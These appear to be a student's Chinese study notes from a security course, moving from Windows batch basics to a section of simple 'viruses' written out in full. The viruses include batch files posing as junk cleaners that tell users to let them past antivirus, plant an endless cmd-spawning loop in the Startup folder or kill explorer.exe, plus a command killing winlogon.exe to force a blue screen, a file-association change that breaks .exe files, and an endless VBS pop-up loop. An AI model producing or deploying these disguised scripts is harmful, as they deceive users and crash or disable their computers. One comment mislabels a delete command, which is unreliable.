千锋教育网络安全学习笔记2:批处理、病毒

千锋教育网络安全学习笔记2:批处理、病毒

目录

初始批处理

一个简单的批处理程序

1、引入

2、echo输出

3、变量

4、if 、goto

病毒

简单的批处理文件一

简单的批处理文件二

最简单的病毒

最简单的病毒解药

最简单的脚本

最简单的死循环脚本

整人网页

初始批处理

如何批处理

命名: 后缀名为.bat

方法:创建一个记事本文件,然后将其后缀名改为.bat

批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条

运行环境:DOS窗口

一个简单的批处理程序

1、引入

1 d:

2 cd \

3 cd temp

4 del *.* /s/p #无询问状态下删除所有文件

我们把几条dos命令会聚在一起,这就进入了批处理的范畴

2、echo输出

1 @echo off #关闭回显

2 color 0a #改变颜色 color?查询如何使用

3 title 飞哥小程序v1.0 #设置程序名字

4

5 echo =====================

6 echo 菜单

7 echo 1、修改管理员密码

8 echo 2、定时关机

9 echo 3、退出本程序

10 echo =====================

11

12 pause #暂停一哈屏幕给俺瞅瞅

3、变量

1 @echo off #关闭回显

2 color 0a #改变颜色 color?查询如何使用

3 title 飞哥小程序v1.0 #设置程序名字

4

5 echo =====================

6 echo 菜单

7 echo 1、修改管理员密码

8 echo 2、定时关机

9 echo 3、退出本程序

10 echo =====================

11

12 pause #暂停一哈屏幕给俺瞅瞅

13

14

15 set /p usename=请输入用户名: #获取输入的字符串,并将其赋值给变量username

16 set /p password=请输入密码:

17 net user %username% %password% >nul #修改账户密码

18 #其中>nul代表若成功执行则把结果输出到虚空里,而不是屏幕上哦

19

20 pause

注:上述代码中#号之后的仅为注释,使用时要删除掉

4.if、goto

1 @echo off

2 color 0a

3 title 飞哥小程序v1.0

4

5

6 :menu #相当于一个以menu为名字的分支

7 cls #清屏

8 echo=======================

9 echo 菜单

10 echo 1、修改管理员密码

11 echo 2、定时关机

12 echo 3.退出本程序

13 echo=======================

14

15

16 set /p answer=请输入您的选择: #answer后面千万不能有空格

17

18 if %answer%==1 goto 1

19

20 if %answer%==2 goto 2

21

22 if %answer%==3 goto 3

23

24 echo 别乱输入哦,只能输入1、2、3哦

25

26 pause

27 goto menu

28

29 :1 #相当于一个以1为名字的分支

30 set /p u=请输入用户名:

31 set /p p=请输入新密码:

32 net user %u% %p% >nul

33 pause

34 goto menu

35

36 :2

37 set /p time=请输入时间:

38 shutdown -s -t %time%

39 set /p x=是否取消(1:是,0:否):

40 if %x%==1 shutdown -a

41

42 pause

43 goto menu

44

45

46 :3

47 exit

常用的shutdown命令可在DOS窗口输入shutdown ?查看使用方法

病毒

测试环境:虚拟机win2003

注:虚拟机上随你玩,真机玩了等重装吧

简单的批处理文件一

功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出DOS窗口直至电脑死机

1 @echo off

2 title 系统垃圾清理

3 color 2f

4 echo ====若杀毒软件恶意拦截,请选择【允许程序的所有操作】====

5 echo. #代表空出一行

6 echo.

7 echo :start>c:\windows\windows.bat #这句话的含义是输出:start这句话并写到后面的文件中

8 echo start cmd >>c:\windows\windows.bat #这句话的含义是输出start cmd这句话并以追加的形式写到后面的文件中

9 echo goto start>>c:\windows\windows.bat

10 copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\Startup\" >nul

11 #上面一行表示将文件拷贝到当前用户启动菜单位置

12 if %errorlevel%==0 goto next

13 copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul

14 #%USERPROFILE%是win定义的一个系统变量,代表当前用户所在的系统目录

15 if %errorlevel%==1 goto error

16 :next

17 echo.

18 echo.

19 echo ====== 垃圾清理中,请不要关闭窗口======

20 echo.

21 ping -n 5 127.0.0.1 >nul

22 echo.

23 echo ====== 垃圾清理完毕,共清理垃圾500M===

24 echo.

25 echo.

26 echo ====== 建议立即重启电脑

27 pause

28 goto ex

29

30 :error

31 echo.

32 echo.

33 echo ====== 程序运行失败,请使用【管理员权限】重新运行!======

34 echo.

35 pause

36 goto ex

37

38 :ex

39 exit

注:上面的启动目录只针对winxp和win2003,其他系统的请自行百度

简单的批处理文件二

功能:伪装桌面清理程序,强制终止桌面程序

1 @echo off

2 title 系统垃圾清理

3 color 2f

4 echo ======若有杀毒软件恶意拦截,请选择【允许程序的所有操作】=====

5 echo .

6 echo .

7

8 :next

9 echo .

10 echo .

11 echo ======垃圾清理中,请不要关闭窗口哦======

12 echo .

13 ping -n 5 127.0.0.1 >nul 2>nul

14 taskkill /im explorer.exe /f >nul 2>nul #杀掉相应的进程,其中/im 后面跟的是进程名 /f强制

15 echo .

16 ping . =====完了,你系统废了,桌面程序不见了,不信你看看======

17 ping -n 5 127.0.0.1 >nul 2>nul

18 echo .

19 start c:\windows\explorer.exe #开启对应的进程

20 echo .

21 echo ======一切尽在我掌控中,已然是修复好了,你瞅瞅桌面程序=====

22 pause

最简单的蓝屏炸弹文件

ntsd -c q -pn winlogon.exe分析:ntsd #杀死进程ntsd -c q -pn 进程名 #强制杀死进程蓝屏原因:winlogon.exe进程不能被杀死,我想强制杀死,系统不让,结果导致蓝屏!对win2003有很大的杀伤力,但对win2008基本没杀伤力

最简单的病毒

1 assoc .exe=txtfile分析:修改文件关联,导致文件无法正常打开

测试效果如下图:

最简单的病毒解药

1 assoc .exe=exefile

2 #即将后缀改为之前的一一对应

最简单的脚本

方法:将下面代码写入记事本,并将记事本的后缀名字改为.vbs

1 msgbox "我最帅!"

最简单的死循环脚本

1 do

2 msgbox "smile"

3 msgbox "jhw"

4 msgbox "hhh"

5 loop

效果:窗口无法关闭

解决方法:

vbs是使用微软自带的wscript.exe来编写的

打开任务管理器将其对应的进程杀死即可

整人网页

将以下代码写到记事本中保存后改后缀名为.html即可

1

2

3

4

5

6 很恶心的常见整人效果的代码

7

8

9

10zhengren 不许把鼠标移到这里!点了真爽!!!

19

20

相关推荐

pre out怎么接功放?
盒子365靠谱吗

pre out怎么接功放?

📅 10-01 👁️ 4204
什么是Rootfs
盒子365靠谱吗

什么是Rootfs

📅 07-30 👁️ 7058
迪士尼院线动画长片列表
彩票365

迪士尼院线动画长片列表

📅 07-05 👁️ 4452